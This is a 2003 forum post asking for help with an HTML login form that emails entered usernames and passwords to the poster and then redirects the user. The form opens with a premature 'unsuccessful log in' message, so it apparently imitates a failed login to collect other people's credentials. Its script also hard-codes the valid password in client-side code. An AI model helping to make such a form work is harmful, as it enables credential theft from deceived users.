Click to See Complete Forum and Search --> : email form contents and forward confirmation page


coco11
11-02-2003, 10:41 PM
Once a user submits their username and password into my form, I want the information to be emailed to me (I have set up mailto information in the form tag) and I then want the user to be forwarded to a confirmation page. Can you please tell me why the following code isn't working to accomplish both the sending of the info by email and the forwarding to the next page (confirmation.html) when the form is submitted? Thank you.



<html>
<head><title>Login</title></head>
<body>
<br><br><br>
<h3><font color=red>Unsuccessful log in! Please try again.</font></h3><br>
<br>
<form enctype="text/plain" method="post" action="mailto:myemail@email.com">
Username :
<input type="text" name="text2">
<br>
Password :
<input type="password" name="text1">
<br> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;
<input type="button" value="&nbsp; Log in &nbsp; " name="Submit" onclick=javascript:validate(text2.value,"advanced",text1.value,"cs") >


</form>
<script language = "javascript">



function validate(text1,text2,text3,text4)
{
if (text1==text2 && text3==text4)
load('confirmpage.html');
else
{
load('tryagain.html');
}
}
function load(url)
{
location.href=url;
}
</script>